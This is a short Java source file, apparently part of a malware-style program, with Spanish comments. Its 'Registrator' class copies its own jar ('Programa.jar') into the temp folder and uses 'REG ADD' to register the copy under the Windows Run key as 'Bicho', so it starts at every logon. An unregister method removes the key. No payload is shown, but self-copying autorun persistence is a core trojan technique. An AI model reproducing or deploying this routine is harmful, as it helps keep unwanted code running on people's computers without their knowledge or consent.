import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStreamReader;


class Registrator {
	public static String tmpdir;
		public static void tempyreg() throws IOException, InterruptedException{
	        String property = "java.io.tmpdir";
	         
	        // Get the temporary directory and print it.
	          tmpdir = System.getProperty(property);
			kopier(tmpdir);//carpeta temp
			Thread.sleep(1000);
			String registrar = "REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v Bicho /t REG_SZ /d \" java -jar " + tmpdir + "\\dest.jar\" /f";
			System.out.println(registrar); //añadimos la key la registro
			Process p = null; 
			  Runtime run = Runtime.getRuntime();
			  p= run.exec(registrar);//obtenEmos un runtime en un proceso y ejecuta el command
			
		}
		public static void unreg() throws IOException{//borra la key del registro
			String unreg = " reg delete HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v Bicho /f";
			Process p1 = null; 
			  Runtime run1 = Runtime.getRuntime();
			  p1= run1.exec(unreg);
			
			
			
		}
		public static void kopier(String tmpdir) throws IOException{
	    	File tokopy = new File("Programa.jar");
	    	System.out.println(tmpdir);
	    	File dest = new File(tmpdir+"\\dest.jar");//copia el propio jar a la carpeta temp
	    	FileInputStream fis = new FileInputStream(tokopy);
	    	InputStreamReader isr = new InputStreamReader(fis); 
	    	FileOutputStream fos = new FileOutputStream(dest);
	    	byte[] bufferxD = new byte[65536];
	    	int vtemp;
	    	int akumulados = 0;
	    	while((vtemp= fis.read(bufferxD))>=0){
	    		akumulados += vtemp;
	    		fos.write(bufferxD, 0, vtemp);
	    		System.out.println("bytes eskrit0s="+ akumulados);
	    	}
	    	System.out.println("salimos");
	    	fos.close();
	    }
}
